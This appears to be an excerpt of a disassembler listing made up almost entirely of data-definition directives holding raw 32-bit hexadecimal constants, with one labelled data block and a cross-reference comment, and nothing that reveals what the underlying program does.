		dd 0B9E45A9Eh, 12D18C53h, 5C81551Ah, 1CC35E18h,	9F9ADFCFh
		dd 18E3186Ch, 0D542DD9h, 0F00023F8h, 672F1B7Ch,	548EC0E8h
		dd 0A8CC2054h, 390A8CB4h, 0A5810B30h, 452511E2h, 7E50F4C8h
		dd 0F594DA51h, 9183260h, 0A09E491Dh, 0B965EC84h, 0D5271C04h
		dd 0CA51B184h, 14CC22A6h, 84E850E0h, 2885C4B3h,	15901460h
		dd 0EED62249h, 61356406h, 110DC8Ah, 4E6E7DC1h, 21235C72h
		dd 13E2D274h, 64B474A0h, 90EAD0B1h, 7C9C8C49h, 408E493Ah
		dd 9A30F8ECh, 6E650330h, 0CD511439h, 0B5C6C904h, 948C590Ah
		dd 0EC0A844Dh, 94F4D98Dh, 162E9106h, 79630019h,	25DA1009h
		dd 7400F984h, 678839ABh, 16DC7741h, 9725A57h, 0F890C90Ch
		dd 9230611Dh, 158CD0E4h, 30D8002Ah, 597E6E67h, 89060348h
		dd 0EB4955EEh, 696D0570h, 4161848Eh, 4D06C6E8h,	0E15C4C4h
		dd 0DC60E9FAh, 1424FE18h, 0BC985454h, 1355F0D9h, 4F764FDEh
		dd 0A1003CE8h, 0D17D5633h, 5C54009Ah, 0A845778h, 0F24D5624h
		dd 4451882Ch, 365AB583h, 19C014E6h, 5B009499h, 8DD3C3CEh
		dd 0E0401D6Ch, 511264Fh, 298760E4h, 0C3001A7Dh,	6FCEEC71h
		dd 0EC364909h, 97D324BAh, 0D21708DCh, 0C2001CA2h, 0D1F9AA1Bh
		dd 268DAF28h, 2CF2001h
		dd 8972E4BDh, 82B5E090h, 98D23230h, 4DEF5C88h, 48054CC5h
		dd 1E0872h, 3FB735FCh, 0B344DFC6h, 7A4C1FCEh, 0D020B0F4h
		dd 8E58E3EDh, 4BE08408h, 0C83078C9h, 0D8AD2654h, 0CC379438h
		dd 0E8C06D2Ah, 498C78B5h, 1F04A809h, 90ED5261h,	0D4369064h
		dd 6E681C12h, 6151340Dh, 97F88FCh, 0B678D7C9h, 8D213A80h
		dd 7E0A31D0h, 88DF87E4h, 0C1433544h, 0C2B06D54h, 0A5043B3Ch
		dd 57146208h, 0D001C889h, 9006DB2Ah, 6FAF520h, 0B08A4DC6h
		dd 5A09E804h, 87FE3AA1h, 44C34C8Ch, 98184830h, 0ADA1F10h
		dd 84DDA2CAh, 0BEA8B847h, 19D18818h, 214495Eh, 6902A9Ah
		dd 0DFD5A224h, 353B0029h, 9B28BB58h, 9CE84452h,	7EEBC800h
		dd 0DBDC42ACh, 1664E0A4h, 40EC7A4Eh, 0EDC5945Ch, 33495488h
		dd 223458F0h, 472344DBh, 1DD2BB05h, 0FCC1D1EFh,	5C11F1A6h
		dd 9F1BEEDh, 4BDC1E59h,	0CD2CB10h, 53AD6A41h, 5A0C0608h
		dd 60EA2AB9h, 0AB3E484Eh, 448A5116h, 8E6A2C08h,	0F4F71604h
		dd 255A7801h, 1270B692h, 825219B5h, 102139E8h, 21620C6h
		dd 0DA48D519h, 0FCC058B0h, 8D80E3DEh, 0E46E0A9Dh, 8DCC35Ah
		dd 0C401FCAAh, 152DF6A3h, 0D93F180h, 0DBBF814Fh, 5507603h
		dd 94EC0C6Ch, 0F0BBC9C0h, 25361310h, 0E0C007Dh,	0EA495BC5h
		dd 0D9CE954h, 0E4416288h, 867303BCh, 0D8C4BEB2h, 78A0E380h
		dd 980C35Dh, 498DE477h,	0A0600230h, 18A09826h, 19E22C91h
		dd 9700941Eh, 84EA7F72h, 399ADFh, 0E03BF62Ah, 3B7918Ah
		dd 0AC087401h, 0CFC15133h, 9F1C6080h, 0D6EA6115h, 50F0E8D5h
		dd 3449BA6Ch, 0F02B0070h, 83561B14h, 0AC880FE1h, 0B924DB49h
		dd 982017C6h, 6EB638h, 86BC24B7h, 4FCBCCA6h, 0E048F761h
		dd 2986E64Ah, 0B9DA9FCAh, 8394BA48h, 98562E63h,	108A787Dh
		dd 0BFCEE54h, 0A71A8115h, 9C48C54h, 4935FCD0h, 3035ED2Ah
		dd 83F910F0h, 6900E3EBh, 0E8C15692h, 8E52CAh, 54699385h
		dd 0BE66E3BFh, 0B2201090h, 882B7ADFh, 80056F8h,	8CC89819h
		dd 189EEC1Bh, 7AA58725h, 0E609B4AEh, 614C88EFh,	78213024h
		dd 96A420F2h, 80C2A992h, 0E4AD17B7h, 0A15C167Ch, 9D8C40BAh
		dd 0C82191A4h, 0C3DD201Ch, 49DF8A39h, 0A54290C9h, 8882AD7h
		dd 9902FA32h, 5011660Ch, 134D1D80h, 0B5B0C325h,	3100E02Ch
		dd 40F75E3Eh, 56B3C5h, 2B9D199Eh, 5DB6C352h, 4D1D1C1Eh
		dd 0E7879407h, 256C8EF0h, 51DFE3h, 0E21D2A3Ah, 6E042ED1h
		dd 7C29C4B6h, 0FF8890C0h, 68793005h, 0D1B332F9h, 3DB71212h
		dd 0D0291447h, 0F6B5A0E0h, 0AE830E90h, 72409C17h, 8768D7Ch
		dd 2A2C8700h, 0D0E6154Dh, 6844B883h, 8ECEEBBh, 6601EFC5h
		dd 0BA2A1F56h, 448C58A0h, 300653E4h, 2406D50Fh,	7EAF410h
		dd 0F40A8442h, 29E0C6F7h, 7756307h, 6B40FBF1h, 9DBB1Dh
		dd 11895BB9h, 8F2556E5h, 2E643C09h, 1C8412DBh, 3B4979F4h
		dd 138AE928h, 7004FE3Bh, 0F0831546h, 3D5A92h, 79C611AAh
		dd 0FC3FF381h, 9D4A290Ch, 5C3B183Eh, 3D3031E3h,	5DC05140h
		dd 41105307h, 594CA72Ch, 0D3A900CCh, 3AC7C4FAh,	0C87C114Bh
		dd 5ED13F1Eh, 0F21416C1h, 41D4AAA0h, 35450061h,	0AC4FF75h
		dd 0C1F0680Bh, 30107A68h, 0AB0A2760h, 95FC0080h, 3CDDDA71h
		dd 0AE002E67h, 0A9FF1C61h, 3079CA11h, 0ADB8CC88h, 10F0C444h
		dd 2010D560h, 384AA311h, 803F3EEAh, 2186EF00h, 79C7CF74h
		dd 0C3292461h, 0C8873E1Fh, 60FF1D54h, 0AF08CAC5h, 15D20A0Ch
		dd 3365906Fh, 7EA9A945h, 13AFB5D8h, 81383C61h, 908FDC84h
		dd 895BFC8h, 0A864260Ah, 0ED7F06BCh, 4CF041B4h,	0C8A9792Ah
		dd 0C7ABE906h, 0C910CB1h, 12C08FE1h, 0D06FA79h,	8B1BE50h
		dd 2AAE7A21h, 7CE8FDC1h, 0E89014BFh, 2A721811h,	1AE0996Ah
		dd 71AC77C0h, 2670658Ch, 2441DC05h, 0AC029661h,	408B9265h
		dd 0C3C15EFh, 9181ADCAh, 0BF0C9E41h, 0E83AF2A1h, 2442481Bh
		dd 8BD87E8Ch, 0F184670Eh, 7C009E3Eh, 0ABAADA81h, 0ADFE02A4h
		dd 146C3BDFh, 8F5A2922h, 0E085054Ch, 1E7FA043h,	75886E9h
		dd 0F134679Bh, 402C475Eh, 94D9F262h, 84FCC703h,	0CA3B427Dh
		dd 153C4816h, 43EE180Dh, 537D1112h, 45B93C03h, 318A7F4Ah
		dd 7910A961h, 40B850C5h, 0F03A8103h, 0F4C028F8h, 0EECF18C2h
		dd 6528B416h, 38A87962h, 0FA72FF28h, 0F9C258C5h, 56689440h
		dd 1DB04CD3h, 53F53BBh,	404090BFh, 84ECC5A4h, 0EA560D07h
		dd 0BE4E8140h, 40FB8FBFh, 3BB68939h, 4703427Eh,	0AAB783FCh
		dd 0A49F9115h, 3C4C11D8h, 583C3D2Bh, 8E54804Ah,	502A62A4h
		dd 0C90D4F6h, 34E14329h, 0C00BFFD1h, 0C2327815h, 0DF1F3DB3h
		dd 31FCA018h
dword_49005C	dd 9D00FDBCh, 3C437DC0h, 0A3F51D42h, 0BC6C8548h, 0EE868D3Ch
					; DATA XREF: ___:off_427B6Co
		dd 74C92B28h, 6C7148C9h, 4A7F4C09h, 496B9827h, 0BCFA7C21h
		dd 3D6194E4h, 119E2154h, 358F0160h, 3E92BF7Eh, 0BDC07180h
		dd 8BC7C1AAh, 30256300h, 0D71E0E59h, 7091D4F3h,	0BD05E000h
		dd 7A4C15A0h, 29815760h, 0F8673F46h, 5220A6C2h,	260ABC48h
		dd 9A0AD0Bh, 9C0432C2h,	56A08065h, 0FC06E91Dh, 0FE61B83Ah
		dd 3F9F18E8h, 86DB3844h, 0D1675C00h, 11CAF1ACh,	0E3080E8Fh
		dd 5609BF5Ah, 0E040CF87h, 0CCB4FF9Dh, 0F418EE02h, 60F0574Bh
		dd 0A7A24Ch, 6AC4625Ch,	7FEBE38Dh, 53AE3600h, 260BF9CDh
		dd 0CCC1009Bh, 40B602EDh, 90371BFCh, 0F01407Eh,	0C200A48Fh
		dd 0F600846Ah, 883696F9h, 0D4CB6Fh, 3CAB3280h, 5EBED9ACh
		dd 800FCEAh, 36504CB1h,	19B0FE9h, 0C05B5CBAh, 0E4F683BBh
		dd 80B1CC97h, 0F7041F52h, 5E02F8AAh, 0D89DB8BBh, 0B3D840F9h
		dd 0ECC90E60h, 0FBA10A80h, 6013DCB1h, 1C000636h, 0F1467E4Ah
		dd 0C9416D5h, 0C4768A68h, 1100E240h, 32890D4Eh,	7BD3D7h
		dd 0A12AAC1Bh, 44B60ACEh, 0ADEAAF00h, 0E1FB286Eh, 5C8B3883h
		dd 0E59BFCC1h, 0B71240h, 15FFC032h, 0B528A926h,	5D07F000h
		dd 4A17C138h, 0E48200C2h, 0A9A483E5h, 1600778Ah, 4D99BA6h
		dd 9AD064Eh, 0FFFC15Dh,	5D94388Ah, 0C0480076h, 0FBDF87ADh
		dd 32F8337Fh, 15D3D200h, 9923A925h, 4EBE00CEh, 0F40F063Ch
		dd 0EB002BBFh, 0BBC878FAh, 0C45D8Fh, 0D6CB9CB5h, 53E30C92h
		dd 80FAC901h, 8F147849h, 0BEFDDCh, 64F28B07h, 0D3F745AAh
		dd 69CC7918h, 20BBBA40h, 21FC885h, 0D44074E3h, 405E4913h
		dd 10F20FADh, 0FC00142h, 0FB527EB8h, 8F68D305h,	9C090BAh
		dd 5F5F1BBh, 8A087DD6h,	13E28075h, 8CB33D67h, 8387F855h
		dd 6AD15F1Dh, 8004E340h, 66B301h, 674FE9C3h, 0F4B20FABh
		dd 0E212D180h, 434C07B7h, 0A10D24F3h, 0F4495CBBh, 0A40E9CB1h
		dd 800C8B03h, 0FD4D362h, 3F67001Dh, 4B04DCDAh, 1707EE01h
		dd 0C45BC59h, 67A40EE0h, 0BD0B0089h, 15C984B8h,	0A0007182h
		dd 56E6BC32h, 390DA90Ah, 6083C7B1h, 0F402E801h,	0E3F750F0h
		dd 0A48B0B0Eh, 0B5A28346h, 93D6D19Dh, 0FE6F9680h, 0A62715FBh
		dd 0CADA2F16h, 9E2AAC08h, 0DEF18257h, 8058E279h, 4378882h
		dd 86C240FFh, 9A003424h, 0A0832281h, 141E108Dh,	34CE3DA1h
		dd 373905ABh, 0BC80B19Eh, 30A9CA1h, 315DA034h, 2CECF24Fh
		dd 6A0C209Fh, 293D9D04h, 0F3400FA7h, 7E0DBF99h,	0AADAA90Bh
		dd 0FFC0C194h, 2D0E864h, 3CFBF91h, 6720FCC8h, 25A79CDh
		dd 4C07C4FFh, 4120C664h, 0BEDA2C82h, 43BE0E64h,	0A5B1C33Ch
		dd 40014010h, 0ED7F44A0h, 13005FCDh, 7E03EFAFh,	0F0BEC7C0h
		dd 78990015h, 11DB20D8h, 0FA15F341h, 9D1C92A7h,	4FF25BE0h
		dd 6E061E0h, 0AC4FCF0h,	17121005h, 1000CA04h, 0C7C6FB67h
		dd 0ECD50069h, 7811FC3Fh, 3D1868FDh, 0FA585256h, 8000BCBDh
		dd 63F281Ch, 4A1A2AF1h,	0F8D8D754h, 3C692068h, 0D4D87E00h
		dd 674116C6h, 31F8E28Fh, 0FE10BFA4h, 7CC2E5BDh,	79C60EB4h
		dd 0E78185Dh, 0D045541Eh, 0E040005Bh, 7870431h,	677E92D6h
		dd 904A3A31h, 2980461Bh, 0F2A5BA6Ah, 5031973h, 0ED69C6A6h
		dd 12C90CF3h, 6E28FA23h, 0E8D56118h, 0A8FDA618h, 0EE872DE4h
		dd 49CF01B3h, 25D3BED6h, 0AAE980E3h, 8E2F670Fh,	95970050h
		dd 0E4537C0Ch, 0A8006140h, 46422ECAh, 30AF08CDh, 3B6922C0h
		dd 50010BDEh, 0F11C6598h, 0E47C7D3Eh, 3920904Ah, 6F3B5014h
		dd 5E9200E8h, 0A111AA21h, 77970067h, 105178D8h,	7F012E41h
		dd 81E9AC7h, 0F183C104h, 0E4BE1D3Bh, 0AD12ABE8h, 4AFAC502h
		dd 4C303D9Fh, 0BF940460h, 62917E12h, 8CD520EDh,	8E005DBFh
		dd 9841D269h, 5EBE2BD9h, 0F8E44077h, 64586711h,	923C181Ch
		dd 5148A9B1h, 0A400FDF7h, 0EB072F27h, 0CAFB2834h, 0A0C430F4h
		dd 664A84C8h, 778024EFh, 120D7801h, 0C3108242h,	183C1820h
		dd 48F1896Ch, 8B181520h, 4E31AB86h, 4AFF7AADh, 2774C340h
		dd 21BA0930h, 0FFC56Eh,	0C34824E3h, 18FB712h, 6A3FE104h
		dd 60ADEE10h, 0B2B84074h, 0A1F68400h, 2E9F804Ch, 749250BEh
		dd 391F00F5h, 226E824Bh, 664A4C17h, 0A0B620D3h,	984409D2h
		dd 0C3F48110h, 50081618h, 0C4846595h, 7F4E5ED8h, 53410050h
		dd 4860FF9h, 1CF07DA4h,	8484C7h, 0FA0D4AE4h, 5548C5CBh
		dd 0C052046Ch, 847BCAh,	1C0044A9h, 2D8D4042h, 0E0A8FAA7h
		dd 600DA53h, 6D20E62Ah,	2548A19h, 5F529ACCh, 18643BE3h
		dd 6597AD00h, 49C5F174h, 88F650C9h, 21066E9Fh, 0C072401Fh
		dd 4C2B950Bh, 0BFB5FF00h, 0ADC36A30h, 57390319h, 8931F565h
		dd 147EA001h, 587DED7Ah, 4C9710BBh, 81E8D479h, 0D7B074h
		dd 60C56940h, 0D2970F2h, 4350E342h, 0F8187C60h,	0B6E85CD0h
		dd 0F5E183A8h, 0FD8C3094h, 783FF720h, 0C4244AFAh, 0C1C00824h
		dd 9B500CC0h, 22344665h, 153C00ECh, 8D5E8E50h, 8C14D20Fh
		dd 853816BEh, 844004A6h, 455EA71Ah, 71FB0082h, 534A7E50h
		dd 6F049FECh, 0C604380Eh, 20D5F4CCh, 0AD2C47B1h, 0B40667BAh
		dd 3821FB25h, 0EC801C11h, 0C077F729h, 0E8DE4B81h, 2516F2C1h
		dd 0C8D0E87Ah, 0FB912051h, 184992E4h, 624C16B0h, 68041C25h
		dd 101D8F4h, 6495ADFDh,	4D06D29Ah, 567645BCh, 4BC61288h
		dd 0F09CB47Bh, 940CDC04h, 2CB91D75h, 0D825007Dh, 77F6C508h
		dd 0B1C804h, 78134624h,	31621047h, 8466A821h, 0E30A6C22h
		dd 8FDCFC3Ch, 26C0EAB3h, 17201A78h, 0B145B506h,	0A0C8DE7Dh
		dd 80E9B800h, 0F416F39Eh, 204361A5h, 903D92FBh,	18C67295h
		dd 81E72611h, 801CA63Fh, 53038337h, 0E08F049Dh,	56AF070Bh
		dd 1102F8C6h, 0C659650h, 3F10EB31h, 0D30B507Ah,	23805FEh
		dd 91E40904h, 0C062E0B0h, 0EC355109h, 0A44BC87Ah, 17E828C6h
		dd 3E3DCB43h, 0E82308h,	0A882F8EAh, 0A01E4D9Ch,	0C58E6CC6h
		dd 70EEECB1h, 2C9F5207h, 3930E7B2h, 8C25013Dh, 0A37CA170h
		dd 0ACB0605Dh, 4AC14B2h, 535D000h, 0AFF1C22Ch, 784D0108h
		dd 261365A4h, 53B00FCh,	9E9D09B9h, 54780974h, 1099ED00h
		dd 1B4F24E5h, 3C4348BBh, 3C13CF20h, 0D432194Ch,	0FFA83090h
		dd 0A9401211h, 155684h,	0FDFFC069h, 375009E2h, 3C98A1B3h
		dd 6B000381h, 0CB8C659Ah, 28B71CFh, 29850D88h, 0B3C0C924h
		dd 0B65CAD45h, 2DC8405Ch, 0BF95058Ch, 38897E11h, 8D13D49Ch
		dd 0DE0152BFh, 16A389F2h, 2C25F4F1h, 0EBF22422h, 2C01731h
		dd 0B7A33F7Fh, 0FEA7318Ah, 80921188h, 4014FFAAh, 22614399h
		dd 0C2830055h, 6B1E8BFFh, 8E1F6216h, 0F703197Eh, 0CD81C9DDh
		dd 0E804E816h, 0B0CC3F39h, 70238B03h, 0FFBB3A91h, 0E0A14010h
		dd 0FFC384h, 2CCBBB74h,	4BA1EBC8h, 4C91E49Ah, 131118A6h
		dd 21C9FA17h, 0A61F8534h, 6DED079h, 0C7047852h,	0E32A51E2h
		dd 0CB423441h, 0EFC4650Bh, 0A974BC98h, 577C7B0Fh, 22C800D9h
		dd 2CEDF81h, 519F3D3Eh,	0CCC1FB68h, 0CCC1A65Ch,	0EB4674h
		dd 383A007h, 50707E93h,	97E4B415h, 62BE9480h, 0A80CBB12h
		dd 39E12614h, 0C17D94h,	9E045038h, 0B3C34F0Bh, 6C20342Eh
		dd 2E8E008h, 0EA39B1C0h, 0D46760C6h, 0D880B841h, 212B32h
		dd 0D1B7A114h, 0AF74EFCFh, 8750814Ch, 888C8426h, 1D51762h
		dd 6D0C214Ch, 2C65184Dh, 87C49E45h, 3A85C07Ch, 67C54488h
		dd 4C250B5h, 60485114h
		dd 0A0507940h, 0F9A73412h, 0E0E4A04Fh, 0A1381EC1h, 6DF30121h
		dd 8444DFBCh, 0DC3224h,	6E432D52h, 1F5EC2ABh, 44BA5D57h
		dd 0C09D51C7h, 0B37EFC0Ah, 0E90DF402h, 67DA417Dh, 60534420h
		dd 1B52D31h, 9EF9B34Bh,	80937D40h, 7A4D75AAh, 0A77BFDC0h
		dd 60D2447Ch, 7BF41B6Ch, 467A41h, 0D5B7ACCDh, 24FC5BF7h
		dd 2D0E7803h, 0F24BC77Fh, 0F20072A6h, 0CE7E009Eh, 982DD921h
		dd 2400DE23h, 0CACB0FF6h, 12CCB704h, 0A494BFBAh, 18149508h
		dd 9847E17h, 82C0472Eh,	0C9872670h, 0D032BA90h,	0A7D5651Ch
		dd 9AC32400h, 2788BF86h, 6894008Bh, 7F102DCh, 7F00D49Eh
		dd 4B75EE7Eh, 722D421Ch, 0B60F0196h, 11401D98h,	4958705Fh
		dd 2E0A5140h, 40487CD2h, 641EDAF1h, 0B72E3D09h,	91B49DFFh
		dd 77C39DFFh, 66184D0h,	0A0EEE758h, 1631E04Ch, 0B03BC98Ah
		dd 0BA5A92F8h, 0E7281574h, 0D04B0805h, 895148B8h, 8838FB58h
		dd 0FFB4C094h, 8924401Eh, 85581861h, 1DFF7AACh,	82C7B4C4h
		dd 0D2DC9206h, 208AAC41h, 2C8CC210h, 1241500Dh,	0EA10622Ch
		dd 2400332Eh, 1F281C91h, 70555CBFh, 39DFA410h, 312483A3h
		dd 1C788D0h, 71DEB3A1h,	0F8524C26h, 0F1007480h,	0E5F7F0B9h
		dd 3315FEA4h, 5BE93F1Dh, 0C5B3EA90h, 11647209h,	63F0F8BEh
		dd 2B842152h, 7DEE8A00h, 4C3B18FBh, 3BDE4BEDh, 43503D98h
		dd 61CEBD03h, 0D8FB2EF3h, 241951C9h, 0CCB93BD4h, 0B998BE80h
		dd 13E18954h, 202544ADh, 0AFC03DE0h, 827B1772h,	6F99080Bh
		dd 75B4822Bh, 811005DAh, 10505D2Ch, 18032CF5h, 20E7C97Ch
		dd 6079683h, 63D74981h,	81875E54h, 0AF3C81FBh, 5820297Ch
		dd 92D01238h, 0BD5C0494h, 10F2444Bh, 9A472820h,	145CD252h
		dd 85887B4Ch, 0F88062BDh, 493D9EF7h, 9880682Ch,	0B17E0EBFh
		dd 0D110E18Ch, 7212BF90h, 0E8902446h, 28D7F03h,	0DE5ACD1Dh
		dd 0B8D41CF1h, 2DA27E00h, 673179C4h, 0A9BDE0FCh, 3E7C24FAh
		dd 8C424D4Ah, 1EA806Ah,	6222B0C8h, 3053F2E4h, 7D38A32Dh
		dd 8463A8F0h, 0E659C57Eh, 0C6B10100h, 0BC68AB95h, 316813E3h
		dd 0BE2C02C0h, 0C500AAB9h, 806DE9CBh, 24B2A21Ch, 0FAB34C06h
		dd 3B9501Dh, 97C1D477h,	1B805C7Bh, 913BBE3Fh, 98EA8072h
		dd 439E83E5h, 0D1D43262h, 90C42368h, 0DBF5FD07h, 0A2804C7Ch
		dd 0EE3121D6h, 0CBE70D85h, 0F47843C9h, 284ABCBDh, 80C10403h
		dd 9CB14C04h, 9FF8E910h, 8624D091h, 415E60B0h, 0A47FB65Bh
		dd 19BE8530h, 51B78Ch, 0BF37E66Fh, 0CD749895h, 0F0804716h
		dd 0E9C94804h, 25A85090h, 8850E7BCh, 805CE5F3h,	4CB47B96h
		dd 91A5443Dh, 185379D8h, 60270167h, 6965BC2Ah, 110C2291h
		dd 0F800407Bh, 570E4594h, 88B1211Eh, 57185279h,	92D30300h
		dd 590F4B38h, 0A0BF7775h, 3212F454h, 79C00121h,	8EA1730h
		dd 4B12C5A7h, 80405664h, 0D864EA2Fh, 468EA304h,	28E4868Ah
		dd 953700CAh, 0C7B2E7A5h, 0C03F1294h, 141097F3h, 0CBFDC430h
		dd 0A86B500Dh, 51671DB4h, 1380A8CDh, 469C60A7h,	703B269Ch
		dd 0EB73C01h, 5DD9499h,	89B73EE1h, 11C4F8B8h, 2C59D81h
		dd 884F5C48h, 0EA3E2982h, 0A1B1132Ch, 41C3F8C2h, 0F4522520h
		dd 4C5285h, 924C811Ah, 9C7C3998h, 0E822C800h, 2DC9B7FBh
		dd 0CB3A0904h, 0E81249C7h, 188DB441h, 17FF09AFh, 7C45C140h
		dd 0FFC76885h, 441814B8h, 19F6F0E1h, 542E609Eh,	0D2465Eh
		dd 0CB9EFC95h, 0C5DEBBh, 6E7E8F93h, 5C7A4B1Dh, 8E44D094h
		dd 18FFAE60h, 0ACB9402Eh, 0C66770h, 78237BFFh, 1E80B61Ah
		dd 20A88155h, 0E64055E8h, 408B032Eh, 0AF8FBFC0h, 859B210Ch
		dd 784954h, 366D899Dh, 682E88B1h, 5E0056E0h, 3142F1BCh
		dd 2EE3518h, 1378266Eh,	72A020h, 231A1403h, 98676B5Eh
		dd 28F382h, 55D6D8B1h, 29788C81h, 57003B7Ah, 0E6188999h
		dd 2043E385h, 77173A8Bh, 308740D8h, 843F14D5h, 6F005223h
		dd 2DDD6582h, 885501EAh, 0F46241ABh, 3AE045DEh,	5A23A4h
		dd 39103EABh, 5205BD21h, 1B1EE558h, 6B4324C1h, 60D89460h
		dd 0ED7FC1D0h, 0A1B7645Dh, 149B7A60h, 0D4782401h, 4491211Dh
		dd 86155378h, 780425E0h, 16BCE4D0h, 0BF0E14F6h,	4037796Dh
		dd 0CB0726B4h, 0AC2C45C3h, 3E40F822h, 16806FFh,	80D7A332h
		dd 0D85D89B6h, 0AE009267h, 0EFC47D97h, 2C4DC31Ch, 1D54F68Dh
		dd 0FC98A738h, 0A800BDC1h, 0AB3C214h, 12C07A11h, 0CE133316h
		dd 0C0D788DCh, 2F9F5F3Fh, 57D9E00h, 4551C812h, 5410BDFEh
		dd 0EF44B961h, 0D1E49915h, 2881851h, 61AFBCA5h,	440C8E4h
		dd 0AE280FEDh, 8F128044h, 0C2FA4B5h, 8004F23h, 160E83BBh
		dd 1EE04EDAh, 0FA4544F8h, 683B4B5Dh, 80652C90h,	822C421Eh
		dd 0F945B864h, 1DD14E8h, 0F7C4B268h, 41857071h,	0B71C20BDh
		dd 0F8B5E69Eh, 23152543h, 1F8E6C20h, 0ACE8D34Eh, 0F84C7E00h
		dd 61A9C030h, 345800EBh, 0EF2D6033h, 7E5D1366h,	0E32C7E90h
		dd 46745815h, 5AC60055h, 0AE08B4F4h, 34D92DDFh,	0D3E75C00h
		dd 0A806031h, 0BA082ED2h, 86A69DACh, 0CECD679Eh, 221420D4h
		dd 2F423CE3h, 174B0980h, 383C0A9Eh, 5814DA00h, 112B4807h
		dd 97BD2718h, 67A02C80h, 0C0187796h, 8578550Dh,	0ACC1C1BBh
		dd 60B3DC7Ah, 4900C0CAh, 7E8170A3h, 66D8A1h, 0EEF45CFDh
		dd 4A53C2F5h, 0D8797A34h, 51A2FCE3h, 0E67A3D30h, 4A86009Bh
		dd 9767C39Ah, 9528F7B2h, 0F02780BEh, 0C464245Dh, 94500F60h
		dd 967C6525h, 783D0054h, 0D565BE50h, 189E4235h,	0C5496988h
		dd 0D0548986h, 0D701B389h, 516DDD4Ch, 1D85C85h,	651E05DAh
		dd 81F05AA2h, 0E579E0h,	6BF89011h, 94275144h, 78444884h
		dd 9A171863h, 34382AC5h, 0EA30007Dh, 0D9A733F3h, 0D4F8FA0Ch
		dd 2453FD27h, 9B612B40h, 0B97EDCBFh, 0D258D894h, 9FBF0E93h
		dd 40FDC7E3h, 0ED7A0E4Ah, 0A8994815h, 2C47395h,	0AFC7B37Eh
		dd 40345612h, 4E8CAAF0h, 0DE8ECB63h, 6D9013F2h,	80889E41h
		dd 3CD87807h, 8AE8B45Dh, 0E04859CDh, 61C8780Eh,	0C04C4F49h
		dd 452899D9h, 55030080h, 9F0D88C4h, 0BC01DB67h,	2A3BB7F7h
		dd 4ACD1D95h, 422BE7FDh, 3AFB43C0h, 0E864D022h,	20D4F3CCh
		dd 62285B25h, 0C52190E6h, 1C61914Eh, 18CE9624h,	51C0833Ch
		dd 0FF401852h, 0D567206Eh, 4DEC34E9h, 0ACA9B601h, 7179BDAFh
		dd 0D3E49875h, 1649C03Ah, 6E047344h, 0D9CDE375h, 0A0EADCAEh
		dd 3E3D618Ch, 0C87C8099h, 68193960h, 983C7D9Bh,	49F93000h
		dd 6320D021h, 3EE8CF80h, 17F61F94h, 0DA083ED6h,	0E024C014h
		dd 10C49333h, 1F43DB1h,	0B7A0E4BDh, 0CC4341A8h,	4E19AE8Eh
		dd 23CC4692h, 0BB0049EEh, 0B261C099h, 0C9E59h, 0FE3308EFh
		dd 8E77E63Eh, 26141748h, 0FD08743Ch, 0FC963E45h, 88548B07h
		dd 62F7C1EAh, 17D821CDh, 0E52A01C0h, 0AB3DD8A4h, 94C7B101h
		dd 0EFCC4A2Bh, 0CBC8212Eh, 481C013Ah, 7270C180h, 0B103336Fh
		dd 2E46000h, 2481ADDBh,	0E838D5D4h, 0B80040BCh,	0D13C8794h
		dd 1777B467h, 884850D0h, 45864268h, 2696D47Bh, 74757F1Eh
		dd 1DB71884h, 123344A4h, 4911F562h, 0ACCA5210h,	4585448Fh
		dd 0A30C6196h, 0F2506222h, 0E3363051h, 42B45900h, 2FADD21Fh
		dd 0F7827D62h, 12988843h, 325C81C0h, 4810C698h,	0BCB350D9h
		dd 24189540h, 91843C34h, 3B027068h, 9E37186h, 8241E4F1h
		dd 4158258Dh, 4B88D48h,	0BDFD1C90h, 13C18116h, 25F2E0B3h
		dd 2D823D3Eh, 0BDB60380h
		dd 9AADF590h, 16052B02h, 0F2CBC73Bh, 0D9E6082Ch, 1E124930h
		dd 4BC8348Bh, 4AA09CC9h, 0BB3CD31Ch, 64F80900h,	2E8DCAB5h
		dd 257577F1h, 3C6A4FA4h, 0C0936085h, 7F308B54h,	2C9E25EEh
		dd 0BB587880h, 0FC9F645Eh, 7F7B3A1Eh, 57E35B83h, 8048CC5h
		dd 171892AFh, 0A02C38C0h, 55EB8805h, 47CC7700h,	0A2B64C1Bh
		dd 19C8009Eh, 0E01FE3D5h, 38D69651h, 1A4E7420h,	0F64A17F2h
		dd 0C8288B92h, 457C0D6h, 0E22AA631h, 3E00441Dh,	6284760Dh
		dd 365C51h, 0CD509AC0h,	9CABB1BCh, 7822E028h, 0C4497F00h
		dd 15177B9Bh, 1374E470h, 9788EC52h, 109750C8h, 0B42E5E04h
		dd 9E04AC9Dh, 34982F3Dh, 0E0BF5C97h, 7054992Ch,	0BF178FD6h
		dd 0BC34139Ch, 0D8BC64BCh, 160C078Ch, 0F20791h,	0FEA4B653h
		dd 772036F9h, 0C5AAEA09h, 8098650Ah, 22EA2C81h,	0E8EC9603h
		dd 67200705h, 5C813AEFh, 0B3026D2Dh, 965FCC60h,	5DB16408h
		dd 4B426FEh, 0A87C91C8h, 8CD5EC04h, 0F077EA00h,	0ACDEC771h
		dd 51C60915h, 1072FB35h, 0BBFE9821h, 98FAA054h,	0D010971Dh
		dd 0BE24C62Fh, 465EA022h, 0FF723E4Fh, 6E3DD612h, 58D3F71Eh
		dd 0A4319C23h, 0E5B21303h, 0DF749010h, 510A3B00h, 0E8678FC5h
		dd 0C1D87758h, 576A4565h, 0BE5038B1h, 186C3EF5h, 79C780D6h
		dd 2297EEF6h, 0D7D898h,	66DE51CAh, 0AD7F407Ch, 7AECEDB0h
		dd 20DDCC34h, 55F2D8E2h, 3757B30h, 10871C0Ch, 82140EE3h
		dd 10605C7Dh, 0B40142C2h, 3728BEC7h, 8EC43263h,	3850F179h
		dd 0CC298844h, 86F0DA04h, 7888A161h, 3790067h, 24B20D94h
		dd 0E014C2D6h, 71C0FCEDh, 0CC00B9FCh, 0BFA810D4h, 95F175B1h
		dd 10ECE011h, 1508F21Ch, 0F0C28677h, 79C9D200h,	0A7E4682Ah
		dd 0BD511E13h, 90C4641Fh, 98A36CF8h, 90A96B21h,	2A185471h
		dd 95C71A01h, 0AB10F88Fh, 5A4243Eh, 8176F024h, 73E0D044h
		dd 4CCD2200h, 2BC109Dh,	0C2053B43h, 811ECB18h, 0D98488h
		dd 21ED7A33h, 0C59D41A5h, 29CB9822h, 64800E71h,	61C6415Ah
		dd 0B022E501h, 58E67C15h, 7E0CF922h, 0E8BBA8D0h, 0EDD319CFh
		dd 58967068h, 0F188562Ch, 4A2A0AF2h, 0E028FB58h, 5AB1C07Ch
